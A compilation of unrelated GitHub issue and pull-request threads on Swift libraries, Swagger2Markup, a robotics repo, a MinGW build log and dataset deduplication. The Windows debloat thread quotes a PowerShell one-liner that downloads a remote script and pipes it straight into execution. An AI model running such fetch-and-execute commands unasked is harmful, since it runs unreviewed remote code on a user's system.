the bot joins and leaves (and no messages are sent)

try reading passing custom data section in README.md
you can also try setting the data by using queue.setData() instead of defining it inside the createQueue() like SpeckyYT said in the first comment

DMP works now, Thanks elvanz and  SpeckyYT!

authors: EclipseGame18 SpeckyYT elvanz

repo: SushiBtw/discord-music-player


text:
Add styles for website

Add website styles:
General styles
Contact info styles
Intro and skills styles
Experience and additional info styles

Створи styles.css файл в кореневій папці проекту
Add styles according to the instructions


text:
separatedDefinitionsEnabled feature is broken or useless

If I enable the separatedDefinitionsEnabled feature I do get my definition objects created in individual files, but it still creates the "parent" page, which becomes just a list of H3 tags which anchor links to itself, when they obviously should link to individual files where the content is actually found.
Alternatively, who can I disable the generation of the definitions document, which is kinda pointless onces the content is moved out of it.
Swagger2Markup version: 1.3.1 & 1.3.2-SNAPSHOT

Hi,
true its pointless. Would you like to contribute a fix? I'm in vacation and afterwards busy at work. But I could merge a PR an create a new release.

Yes I have the code running locally in Intellj but I cant figure out how to fix this. If you could give me some pointer in the right direction that would be great.
This isnt the only case of these broken links either. As far as I can see the default behavior is that the paths links to definitions also just link to an anchor in the same document.

There is a swagger2markup configuration parameter which enables inter-document cross references.

swagger2markup.interDocumentCrossReferencesEnabled

I pressume you mean this: swagger2markup.interDocumentCrossReferencesEnabled
Why is this a config and how does it make sense to have it as false by default?

Yes this did fix my issues. I would argue that the default setting for this option should be reversed, or even just removed at all as why someone wouldnt want their anchors to work I dont quite understand.

Is there a way to just drop the list file when enabling the separetedenabled then becomes the remaining issue.

Yes, you are right. I have to check the code again. I can't remember why it's false by default. It's some time ago since I programmed it.

I can always just delete them after generation I guess.
So, of lower priority, this issue becomes a suggestion to reverse the default and to add a feature of optionally dropping the main documents, security, paths, definitions and/or overview

Currently there is no way to skip the generation of the definitions file.

most of these cross document links seems to work now, but the one that is still off is the link to security document from paths endpoints.

Hi. I think separatedDefinitionsEnabled is false by default because in most cases you will generate single file (pdf or html) from markdown/asciidoc sources. In this case you need that references work within one file.

authors: MaksimMyshkin RobWin alkemann


text:
417 x drive tele op summer - XDriveTest.java, HolonomicDrive.java, Kinematics.kt and XKinematics.kt classes

For testing the X-Drive DevBot that's currently being built. XDriveTest.java is a simple TeleOp test program, and HolonomicDrive.java allows both X-Drives and Mecanum Drives to work with RoadRunner depending on the flag kinematicType passed through the constructor.

This Pull Request should be deleted, it no longer has any meaning now that 'main' has been updated for Into the Deep.

Deleted.
On Mon, Sep 16, 2024, 7:08 PM Andrew @.***> wrote:

This Pull Request should be deleted, it no longer has any meaning now that
'main' has been updated for Into the Deep.
—
Reply to this email directly, view it on GitHub
https://github.com/SwerveRobotics/FtcRobotController/pull/52#issuecomment-2354364044,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BAN55Z5V45JNOCUO3UQM65TZW6FIXAVCNFSM6AAAAABM7LWZQSVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNJUGM3DIMBUGQ
.
You are receiving this because you authored the thread.Message ID:
@.***>

authors: madacker nobody-particular

repo: SwerveRobotics/FtcRobotController


text:
🛑 swiftfiddle.com/runner/5.8 is down

In 27662c8, swiftfiddle.com/runner/5.8 (https://swiftfiddle.com/runner/5.8/run) was down:

HTTP code: 0
Response time: 0 ms

Resolved: swiftfiddle.com/runner/5.8 is back up in 02ea011 after 28 minutes.


text:
Added new apps :3

Salam :)
New apps are: Netflix, Spark, Weibo, Name Shark, Ali Express, Flipps TV, Friendly Social, and Heapo.

This is looking great, but I don't see the AppStore Rate action implemented?

@Mazyod I forgot to add it 😅 I will add it إن شاء الله

Did you test the rate action with at least two different apps? It looks to me like there are some hard coded parameters

@Mazyod Yup I tested with two apps.

Interestingly, "Purple Software" turns out to be a code name used within apple ... Sounds pretty lame, but oh well. Microsoft does a better job on that front, IMHO :)

@Mazyod Great :) Thanks for sharing this nice info.

authors: Maryom Mazyod

repo: SwiftKitz/Appz


text:
Good to great UI animation tips   需要翻墙

https://uxdesign.cc/good-to-great-ui-animation-tips-7850805c12e5?gi=c503743d5882
其实是设计效果层面的东西，但真的很讨人喜欢，也很适合用iOS动画进行表现

要加一个设计的分类了。

authors: Awhisper lacklock

repo: SwiftOldDriver/iOS-Weekly


text:
【Hummer Flutter引擎】Dart Split AOT技术，以及定制化Deferred Components的实现

推荐收录
链接
https://mp.weixin.qq.com/s/gzTRQCqRV1XUYwNuROFx_g

要不把 Hummer 这几篇合并在一起吧？

authors: ChengzhiHuang linwenbang


text:
CGVector Extensions

🚀

Checklist

[x] I checked the Contributing Guidelines before creating this request.
[x] New extensions are written in Swift 4.
[x] New extensions support iOS 8.0+ / tvOS 9.0+ / macOS 10.10+ / watchOS 2.0+.
[x] I have added tests for new extensions, and they passed.
[x] All extensions have a clear comments explaining their functionality, all parameters and return type in English.
[x] All extensions are declared as public.
[x] I have added a changelog entry describing my changes.

          1 Message

:book:
Thank you for submitting a pull request to SwifterSwift. The team will review your submission as soon as possible.

SwiftLint found issues
Warnings

File
Line
Reason

CGVectorExtensions.swift
83
Files should have a single trailing newline.

CGVectorExtensionsTests.swift
41
Limit vertical whitespace to a single empty line. Currently 2.

Errors

File
Line
Reason

CGVectorExtensions.swift
79
Variable name should be between 3 and 40 characters long: 'θ'

CGVectorExtensions.swift
79
Variable name should be between 3 and 40 characters long: 'r'

  Generated by :no_entry_sign: Danger

Overall, I'm not crazy about adding new operators or operator overloads to SwifterSwift. That being said -- I don't think anyone actually imports the full SwifterSwift library -- I'm fine with this one. Thanks for the PR 💯

@omaralbeik Any idea why Travis CI is stuck on this one?

@moyerr I'm not sure, but I believe travis waits until this branch gets updated with master :))

@LucianoPAlmeida @guykogus All changes have been addressed, but it's still blocking

@moyerr There are some lint warnings appearing in the danger bot message, but I believe a swiftlint autocorrect can fix all :))

@moyerr will you please resolve conflicts?

authors: LucianoPAlmeida SD10 SwifterSwiftBot guykogus moyerr

repo: SwifterSwift/SwifterSwift


text:
fix: recursive fs.rmdir is deprecated

  (node:721) [DEP0147] DeprecationWarning: In future versions of Node.js, fs.rmdir(path, { recursive: true }) will be removed. Use fs.rm(path, { recursive: true }) instead
  (Use `node --trace-deprecation ...` to show where the warning was created)

@stevapple unit tests are failing, could be due to the API usage change and might require updating some mocks. Please make the changes applicable.

authors: soumyamahunt stevapple

repo: SwiftyLab/setup-swift


text:
Registering a base class

Given the following:
class BaseController: NSViewController {
    var foo: AnyObject
}

class A: BaseController {}

class B:BaseController {}

I have to register:
let fooValue = Int(1)
container.registerForStoryboard(A.self) { r, c in c.foo = fooValue }
container.registerForStoryboard(B.self) { r, c in c.foo = fooValue }

I would prefer to use:
container.registerForStoryboard(BaseController.self) { r, c in c.foo = fooValue }

Looking through the code, I can see that the type name is used as they key to inject, hence the requirement for each leaf class having to be registered. Is there a particular reason why this is done instead of keying off the actual type object via the as? operator?
If there is no show-stopping reason it is done this way, my first thought is to make a subclass of Container, but that isn't possible since it is final and most of the internal methods that need to be overridden are marked private.
Does Container need to be final? If not, then I could subclass. Otherwise, could it be turned into a protocol to allow for an implementation that works by casting instead of type name? That way you could register for any controller that has a particular parent class. Subclassing would seem to be better, to allow for sharing code (unless implementation is moved to a protocol extension).
I'm willing to implement whatever needs to be done, but I didn't want to make a pull request without discussing it first.

Thanks @mlilback for the great idea to improve Swinject👍
I used the type name string to simplify SwinjectStoryboard implementation, which previously used redundant internal API. That was just an intermediate refactoring. The latest version of SwinjectStoryboard is in another repo https://github.com/Swinject/SwinjectStoryboard and it no longer uses the string key but its actual type.
I made Container final just because easier maintenance of Swinject. I don't have to care about breaking changes for users who subclass Container. If there is a good reason to drop final, it might be good to do so.
Because of limitation reflections in Swift, it might be difficult to implement the feature, if you find a good solution, I would like to merge the feature. Thanks!

I had a similar problem and came up with this method:
private static func registerVC<Service: BaseController>(
        withContainer container: Container,
        serviceType: Service.Type,
        factory: ResolverType -> Service) {

        container
            .register(serviceType, factory: factory)
            .initCompleted { (r, controller) in
                controller.foo = fooValue
            }
    }

This is essentially wrapping the Container's register method and always injecting the same property from the base class. At the same time it allows you to define a different constructor injection in the factory closure.
This has many limitations, for example if you have more than 2 levels of inheritance or if you want to inject properties to the child controller too. But if you avoid those it provides a nice way to remove duplication and if you add a new base property it would be simple enough to inject it by adding 1 line of code instead of as many lines as controllers you have.

Thanks @adrianhr91 for sharing the nice method!

I'm working on finally implementing this. It looks like the only viable path is a subclass of Container. Adding a new type of ServiceKeyOption didn't work.
At first glance, it would appear that overriding _register() and _resolve() would be enough. The problem I'm running into is that _register() returns a ServiceEntry, but I can't find a single case where that return value is used. The only place I see a ServiceEntry being used is internal to Container (and only to functions  called by _resolve() or _register()).
Am I missing something? Is the returned value used anywhere? It is returned via public api, but I don't see how it can be used outside of the Swinject module.
My plan is to replace the whole ServiceKey/ServiceEntry infrastructure with an array instead of a dictionary since there is a need for multiple entries for each key (there could be an entry for each superclass). I'm going with the assumption that the performance of iterating an array vs. a hash lookup doesn't really matter because there aren't that many services being registered. If you use the subclass you are accepting that performance trade-off.
If it isn't used anywhere, I can just return a dummy entry, though eventually it would make sense to remove that return value (or make it optional) since it isn't being used.

Single purpose of ServiceEntry being returned from register methods is having a thing to call initCompleted / inObjectScope on - so it is quite important to API, and I don't think it can be removed.
I've given this some thought but didn't get myself to implementing this (yet 😉) - I'm interested in your take on this.
My line of thought was that enabling resolution of subclass based on superclass registration factory is AFAICS not possible, as in current implementation there is no way of internally inferring relationship between two types, nor constructing subclass based on superclass's factory method.
One way I could see this being implemented would be some sort of sharing initCompleted closures between multiple registrations, something like:
container.addSharedInitCompleted(for: BaseClass.self) { baseClass, resolver in
   // will every time when type conforming to `BaseClass` is resolved
}

container.register(SubClass1.self) { _ in SubClass1() }
container.register(SubClass2.self) { _ in Subclass2() }

There would still be an issue of inferring in container that SubClass1 conforms to BaseClass, or rather storing initCompleted closures in a way that would enable to get "all closures which are applicable to SubClass1". ATM I do not know how to do this.
Anyway, maybe you can figure out better approach, just felt like sharing my 2 cents might be useful :)

Thanks @jakubvano for the comments😃
register takes only parameters that are used as a key for Container dictionary. The other parameters are set by initCompleted and inObjectScope later as method chaining as ServiceEntry returned.
I want to keep the implementation using a dictionary rather than an array,  or any collection that has similar performance, because performance is one of advantages of a container using closures against reflections. (Users who have to manage a lot of dependencies need performance😉

I'm not very familiar with the internals of the library so this might be wrong, but if you are having problems inferring parent classes, why not specify them explicitly? Typhoon (another iOS DI library) already does this - https://github.com/appsquickly/Typhoon/wiki/Types of Injections#abstract-and-base-definitions
In Swinject's case, when defining a derived class you would specify the base class to use. Something like that:
container.register(...).initCompleted(fromParent: BaseClass.self) { controller in
    controller.childProperty = "new-value"
}

Assuming we already have a definition for how to construct BaseClass it would first call the closure of BaseClass and then the one for DerivedClass.
Unfortunately all of the suggested methods would only work for property injection and not constructor injection, which means people would be forced to break OO principles in order to save some time defining their dependencies.

Thanks @adrianhr91 for your idea👍 You gave me inspiration💡 We just need another approach than Typhoon for the difference between Swift and Objc.
It might be possible to implement the feature by registerBase method like this:
container.registerBase(BaseClass.self).initCompleted { r, c in c.foo = fooValue }

Before a container runs initCompleted for a derived class, it checks whether the resolved instance is a kind of the registered BaseClass, and run the initCompleted registered for the base class. I'm not sure this one works nor the implementation should be in this project or another plugin project yet, but it might be able to implement the feature in Swift😉

Now that #322 and #324 are implemented, it should be possible to implement this feature as a behaviour.
The idea is that the behaviour would be invoked for every registered type, and if it inherits from given base class, it would add another initCompleted closure defining additional property injections. There is a rough non-generic draft of this idea  in #324.
It is a similar idea as @yoichitgy suggested above, with the difference that the class conformance check is performed during the service registration instead of service resolution. From the overall performance standpoint i think this is better, as each service is registered only once, but can be resolved many times.

Closing due to inactivity

authors: adrianhr91 jakubvano mlilback yoichitgy

repo: Swinject/Swinject


text:
Use NSRecursiveLock instead of NSLock

If you have a re-entrant resolve (i.e. when resolving "A" using synchronized(), "A" tries to resolve "B") it will deadlock:
"You should not use this class to implement a recursive lock. Calling the lock method twice on the same thread will lock up your thread permanently. Use the NSRecursiveLock class to implement recursive locks instead."

Finally! I did almost the same in PR #269 exactly 1 year ago - it was rejected back then.

In my PR #269 I had corresponding unit test as well. @gilroykilroy would you like to try to reincarnate it as well?

Feel free.  I was totally unaware of this previous fix.  I just came across the problem in my project and needed it fixed so I fixed it.
Sent from my iPad

On May 30, 2018, at 11:16 PM, Sergei notifications@github.com wrote:
In my PR #269 I had corresponding unit test as well. @gilroykilroy would you like to try to reincarnate it as well?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

I have added tests for this scenarion in #353.
@serges147 Sorry for taking this long to address this issue. Back then it looked like we might be able to implement more robust thread safety model, which would more comprehensively address this problem.
However, we weren't able to do that yet, and quite a few people are hindered by it - that is why including this workaround now seems like a better option.
Thanks for your work guys!

authors: gilroykilroy jakubvano serges147


text:
type 'UIColor' has no member 'systemGray5'

❌  /....../dev/Pods/SwipeCellKit/Source/SwipeActionsView.swift:118:31: type 'UIColor' has no member 'systemGray5'

Please search.

authors: alexandrubeck kurabi

repo: SwipeCellKit/SwipeCellKit


text:
fix: ignore empty previous secret key in secrets storage

I had previously tested this (it's how I got a test deployment in the first place), but then later refactored parts of it. Turns out that when you mount a secret subpath that doesn't exist, k8s will just create an empty file for you.
The code should error if a secret can't be parsed, but this is a special edge case so an empty secret is ok. We can't really check if the secret is empty and handle this in the chart since it secrets get created by an init job and we don't know in the deploy stage.

Pull Request Test Coverage Report for Build 9464371333
Details

0 of 3 (0.0%)  changed or added relevant lines in 1 file are covered.
4 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-0.04%) to 90.099%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

components/renku_data_services/secrets/config.py
0
3
0.0%

Files with Coverage Reduction
New Missed Lines
%

components/renku_data_services/base_api/pagination.py
1
87.72%

components/renku_data_services/crc/blueprints.py
1
89.17%

components/renku_data_services/storage/blueprints.py
2
94.62%

Totals

Change from base Build 9461971267:
-0.04%

Covered Lines:
8536

Relevant Lines:
9474

💛  - Coveralls

not actually needed

authors: Panaetius coveralls


text:
Test Windows version of this (has minimal OS-specific code, thus assumed this supports all OS's)

?build.sh New param --mingw for Windows
Beta@a6a4d31 allows to use Termux (or other emus) to test this through MinGW (https://github.com/mingw-w64), but without wine, box86 or box64 can just test that build.sh compiles this (can not test executables produced).

https://github.com/termux/termux-packages/issues/21720#issuecomment-2396888397 fixes MinGW (if Termux gives you 'mm_malloc.h' file not found, just execute pkg up; in combination with Undo 42c2a23, do %s/shlobj_core.h/shlobj.h/@36d7efb, ./build.sh --mingw (with default, --debug, or --release) is now success.

https://github.com/termux-play-store/termux-issues/issues/150 is now all which blocks unit tests of executables for MinGW (win32)

[Version of post is ?build.sh Output file path+size on success@0476363 ]
Howto build from Linux (or other POSIX OS) to Windows (cross-platform):
~ $ git clone https://github.com/SwuduSusuwu/SubStack.git
fatal: destination path 'SubStack' already exists and is not an empty directory.
~ $ cd SubStack
~/SubStack $ ./build.sh --mingw
[Notice: Dual licenses: choose Creative]
[Notice: `./build.sh --mingw` defaults to `./build.sh --mingw --debug`.]
[Notice: Use `./build.sh --mingw --release` to improve how fast this executes]
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -x c -c ./cxx//../c/rfc6234/sha1.c
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -x c -c ./cxx//../c/rfc6234/sha224-256.c
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -x c -c ./cxx//../c/rfc6234/sha384-512.c
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//ClassSha2.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//ClassResultList.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//ClassSys.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//ClassCns.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//VirusAnalysis.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//AssistantCns.cxx
./cxx//AssistantCns.cxx:129:10: warning: TODO: process XHTML without Boost [-W#pragma-messages]
  129 | # pragma message("TODO: process XHTML without Boost")
      |          ^
1 warning generated.
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g -c ./cxx//main.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fsanitize=address -fno-sanitize-recover=all -fsanitize=float-divide-by-zero -fsanitize=float-cast-overflow -fno-sanitize=null -fno-sanitize=alignment -fno-omit-frame-pointer -g sha1.o sha224-256.o sha384-512.o ClassSha2.o ClassResultList.o ClassSys.o ClassCns.o VirusAnalysis.o AssistantCns.o main.o
+ STATUS=0
+ set +x
[Success: produced `a.exe` (3080192 bytes)]
~/SubStack $ ./build.sh --mingw --release
[Notice: Dual licenses: choose Creative]
[Notice: `./build.sh --mingw --release` does not support profilers/debuggers (use `./build.sh --mingw --debug` for this)]
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -x c -c ./cxx//../c/rfc6234/sha1.c
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -x c -c ./cxx//../c/rfc6234/sha224-256.c
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -x c -c ./cxx//../c/rfc6234/sha384-512.c
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//ClassSha2.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//ClassResultList.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//ClassSys.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//ClassCns.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//VirusAnalysis.cxx
In file included from ./cxx//VirusAnalysis.cxx:6:
./cxx/ClassResultList.hxx:140:104: warning: loop not unrolled: the optimizer was unable to perform the requested transformation; the transformation might be disabled or specified as part of an unsupported transformation ordering [-Wpass-failed=transform-warning]
  140 | const std::tuple<typename List::value_type::const_iterator, typename List::value_type::const_iterator> listProduceSignature(const List &list, const typename List::value_type &value) {
      |                                                                                ^
1 warning generated.
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//AssistantCns.cxx
./cxx//AssistantCns.cxx:129:10: warning: TODO: process XHTML without Boost [-W#pragma-messages]
  129 | # pragma message("TODO: process XHTML without Boost")
      |          ^
1 warning generated.
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 -c ./cxx//main.cxx
+ x86_64-w64-mingw32-clang++ -Wall -Wno-unused -Wno-unused-function -Wextra -Wno-unused-parameter -Wno-ignored-qualifiers -fomit-frame-pointer -DNDEBUG -O2 sha1.o sha224-256.o sha384-512.o ClassSha2.o ClassResultList.o ClassSys.o ClassCns.o VirusAnalysis.o AssistantCns.o main.o
+ STATUS=0
+ set +x
[Success: produced `a.exe` (279040 bytes)]

?cxx/Macros.hxx %s/-D /-D/, + MSVC instructions@330f0ee assists those with Windows computers.
?build.sh %s/mull/null/ Shell fix if no clang++@def429c Fixes g++ (plus x86_64-w64-mingw32-g++)
?cxx/Macros.hxx NOEXCEPT/NORETURN fallbacks@b7678c6 Fixes g++ (plus x86_64-w64-mingw32-g++)
?build.sh:?CXX_FLAGS_DEBUG split in 2@8727038 Fixes x86_64-w64-mingw32-g++
?build.sh:+LD_FLAGS (for --mingw)@e9c84be Fixes x86_64-w64-mingw32-clang++ (plus x86_64-w64-mingw32-g++)
?testHarnesses Use +classSysTestsNoexcept to catch@5884ca6 Fixes unit tests on WINE/Windows.
Can now do ./build --mingw && wine a.exe on Fedora/Debian (plus derivatives such as Ubuntu).

?classSysHexOs: 2 hexits per char (logic fix)@e4dadb1 closes this (./build.sh --mingw && wine a.exe passes all unit tests on Ubuntu).

repo: SwuduSusuwu/SubStack


text:
not able to download using quick download link

iwr : Unable to connect to the remote server
At line:1 char:1

iwr -useb https://git.io/debloat|iex

  + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebExc
 eption
  + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

I am getting this error

@ksanjeev284 - Can you please try again? I am having no issues with it.

Yeah now its working thanks


text:
Upload visualisation very slow for large datasets

Currently uploading the deepweeds dataset and while it's only ~500 MB the visualisation is incredibly slow as it tries to preview every image of the 17,000. My internet connection is possibly part of the issue, but does it need to visualise every image in the dataset prior to upload?

Maybe preview should turn off the moment it reaches > 200 images. Is that feasible, @ElevnLi?

At the moment it seems like anything over a few thousand images won't be possible to upload. DeepWeeds gets to ~16900 remaining and then ticks down by about 1 image/second. Initially it uploads at about ~40/sec.

It seems to reload the entire preview set each time it presents a new image. Could explain why it get slower over time?

Hey @geezacoleman, can you have a try again? I disabled preview for over 100 images and changed a bit the way uploaded images are sent to the server. Maybe start with uploading 1000 images and let me know which part of process is still holding the speed down. Thanks.

Thanks @ElevnLi - it still is previewing all the images even when I upload over 1000. It's much faster than before (roughly 5 images/second), but if you change tabs/click away from the site while it is previewing them, then the site crashes and reloads and you lose any upload progress.

Do you know if that problem of changing tabs might have been an issue in the previous version, @geezacoleman?

Hi Guy, as far as we can tell it's still working in the background, even when you change tabs. Returning to the uploader tab it can look white for a moment, but you need to wait for it to render. We are aware that it could be more efficient, but we don't have budget to look into it much more closely.
We have noticed an issue where the uploading stalls, and you need to reselect and upload the images. We don't yet have a path to debugging this.
The issue with not displaying more than 100 images is resolved.

Seems to be working ok now - estimating about 45 mins for the entire deep weeds dataset, but a lot faster than before. Thanks for working that out.

Still getting the 'There are identical images in the image directory.' error once all images upload - any ideas? For some reason it also seems to miss images that are in the directory and selected with the initial lot. So I just reselect everything and then it determines which are duplicates and which need loading.

Had you deployed #499 on django and celery, @ElevnLi?

@geezacoleman Sorry, I hadn't deployed the changes. You can try again to see if it's working better.

@geezacoleman Also you can try uploading a zip file containing images for that dataset. Just deployed it.. Hopefully it works.

Thanks ELevn - unfortunately I now get this error on the zip file upload. I'll try uploading the images again and seeing if it works without the duplicate image error.

@geezacoleman I increased the request size from 100MB to 5000MB in the gateway. You can try to upload the zip again, not sure if it helps.

I just tried the individual upload again, but still got the "There are identical images in the image directory." error. I'll try the zip file now. One repeating issue with the individual uploader is that it skips images that are definitely in the selection. So it will stop on 190 images missing, so I reselect images again, but it will stop on 20 images and do the same again. The numbers vary but the process seems to repeat.

The zip file upload works but then I still get the "There are identical images in the image directory." error. I can't say I've been through the deepweeds dataset to check - it's possible there are? In that error, is it possible to tell you which files it considers identical?

I think overall uploading zip is a much better approach to resolve large dataset and it should work functionally. Glad to see that.
Is this upload very urgent? If yes, I can give you a quick fix today to at least show you which images are identical. Otherwise, I'll discuss with Joel next Monday and come out a better solution.

@geezacoleman I had a brief check using script and it shows the following images are considered the same hash-wise:
{
  "3fefefeb8e83a0781a0f02c00.jpg":[
    "20180105-095833-3.jpg",
    "20180105-095816-3.jpg"
  ],
  "06c3e18c07d876785a17f3f4e.jpg":[
    "20180109-085954-2.jpg",
    "20180109-090005-2.jpg"
  ],
  "c4b00793f0e4380c038af23c7.jpg":[
    "20171203-164605-3.jpg",
    "20171203-164604-3.jpg"
  ],
  "1f87e1f87c1e0713c5f4c0024.jpg":[
    "20180109-110201-2.jpg",
    "20180109-110200-2.jpg"
  ],
  "63dff3fc3f07c190f40f03c7f.jpg":[
    "20180125-132851-2.jpg",
    "20180125-132850-2.jpg"
  ],
  "f32de87a06a0f058122ef3b5d.jpg":[
    "20180105-093909-3.jpg",
    "20180105-093850-3.jpg"
  ],
  "01c0701c0701ce73dcfbfefff.jpg":[
    "20180125-094449-2.jpg",
    "20180125-094503-2.jpg"
  ],
  "03c0f43f4b0040d1fc7f3fc7f.jpg":[
    "20180112-103533-2.jpg",
    "20180112-103542-2.jpg"
  ],
  "3e0e00c0700f03ccf3382300d.jpg":[
    "20180322-111349-2.jpg",
    "20180322-111339-2.jpg"
  ],
  "aecfb17c4e6d9960d83c04200.jpg":[
    "20171218-121959-3.jpg",
    "20171218-122019-3.jpg"
  ],
  "9fe7f99c4701c1f03c0380604.jpg":[
    "20180125-094451-2.jpg",
    "20180125-094438-2.jpg"
  ],
  "01c1683c0f03c1e0fc3f0dc07.jpg":[
    "20180105-093543-3.jpg",
    "20180105-093556-3.jpg"
  ],
  "f03c0f03c0e0380e0380e0380.jpg":[
    "20170207-142255-0.jpg",
    "20180112-092440-2.jpg"
  ],
  "e1f83f43f0fc3e0da360d8120.jpg":[
    "20171121-074015-1.jpg",
    "20171121-074016-1.jpg"
  ],
  "738ef1bc6f49c37c0e03c0c21.jpg":[
    "20171218-110346-3.jpg",
    "20171218-110417-3.jpg"
  ]
}

Let me know if you think they shouldn't be the same, and we might need to make the hash more precise.

Oh! :o I thought I checked these, but apparently not...
I can confirm these appear to be identical images.
I think we might need to update our deepweeds converter to reflect this.

Image pairs such as
"01c0701c0701ce73dcfbfefff.jpg":[
    "20180125-094449-2.jpg",
    "20180125-094503-2.jpg"
  ],
``` are not md5 identical, though this is what they look like (and what our duplicate detector picks up):
![20180125-094449-2](https://user-images.githubusercontent.com/78827/122695526-f2251f80-d283-11eb-89df-14d8575fedc2.jpg)
![20180125-094503-2](https://user-images.githubusercontent.com/78827/122695534-f81b0080-d283-11eb-9e06-a798c2865513.jpg)

Certainly not identical. @geezacoleman, it might be worth bringing Alex into the conversation: can we deduplicate images before uploading them?

  "f03c0f03c0e0380e0380e0380.jpg":[
    "20170207-142255-0.jpg",
    "20180112-092440-2.jpg"
  ],

Seems to be a false positive hash collision :(

I can confirm that all but that pair are perceptually the same image (with some lighting differences, slight offsets, etc.)

Image pairs such as
"01c0701c0701ce73dcfbfefff.jpg":[
    "20180125-094449-2.jpg",
    "20180125-094503-2.jpg"
  ],

